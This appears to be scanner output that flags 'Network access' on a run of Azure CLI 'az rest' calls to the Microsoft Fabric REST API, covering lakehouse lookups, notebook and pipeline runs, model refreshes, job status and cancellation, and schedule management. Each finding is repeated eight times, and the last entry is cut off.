    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 749
